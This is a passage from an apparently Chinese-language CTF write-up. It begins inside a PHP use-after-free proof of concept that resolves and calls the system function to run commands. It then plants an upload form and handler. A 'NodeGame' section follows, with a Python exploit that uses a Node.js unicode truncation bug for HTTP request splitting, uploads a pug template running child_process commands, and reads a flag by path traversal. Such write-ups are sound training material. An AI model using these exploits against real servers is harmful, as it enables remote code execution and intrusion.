if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

不过脚本太大要先整一个上传文件脚本上去

1
2
3
file_put_contents('kotori.html','<html><body><form action="kotori.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id="file" /><input type="submit" name="submit" value="Submit" /></form></body></html>');

file_put_contents('kotori.php','<?php if (file_exists("./".$_FILES["file"]["name"])){echo $_FILES["file"]["name"]."already exists.";}else{move_uploaded_file($_FILES["file"]["tmp_name"],"./".$_FILES["file"]["name"]);echo "Stored in: "."./".$_FILES["file"]["name"];}?>');

然后上传脚本访问得到flag

至于这个脚本的原理就是pwn方向的东西了Orz

NodeGame

拿下源码,读到/file_upload

1
2
3
4
5
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}

可以看到上传接口只允许本地访问

往下看,看到/core

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}

虽然可以发送请求但只能向/source,估计就是要想办法绕出这个限制。这里自然就会想到http走私,但是nodejs对换行符会进行处理,防止CRLF

不过在nodejs 8.12.0版本中存在着会将高位字符丢弃,只保留低位字符的问题。也就是发出http请求传入0xffff,最终会被处理为0xff
Bug:HTTP请求路径中的unicode字符损坏

通过这个漏洞就可以进行http走私,同时也可以不用考虑黑名单的过滤

1
2
3
4
5
6
7
8
9
10
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

python下这样处理一下就行
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)

然后就是要传什么上去了,nodejs不能像php一样传一个马上去执行
这里看到在/下可以通过action去调用一个模板

1
2
3
4
5
6
7
8
9
app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});

在开始也引入了模板的包

var pug = require('pug');

于是去查一下pug模板的使用
pug模板引擎(原jade)
基本和html差不多,要注意的是如果要使用js代码,需要在代码前用-标记

构造一下上传的http包(这里调了好久)
然后通过控制Content-Type,将文件上传到template目录下,使pug文件能被读到

var file_path = '/uploads/' + req.files[0].mimetype +"/";

这里还需要将\n换为\r\n来造成CRLF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Connection: close

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="ls.pug"
Content-Type: ../template

- return global.process.mainModule.require('child_process').execSync('ls /')

-----------------------------12837266501973088788260782942--

'''

payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://3806a2c7-9d80-451f-9af2-44d44dd18dd0.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

读一下根目录

flag文件是flag.txt,于是cat /flag.txt

得到flag

这里也可以通过include来读flag

1
2
html
include ../../../../../../../../flag.txt

至于反弹shell,好像BUU弹不了就算了

这题的原题也可以去看看
Split second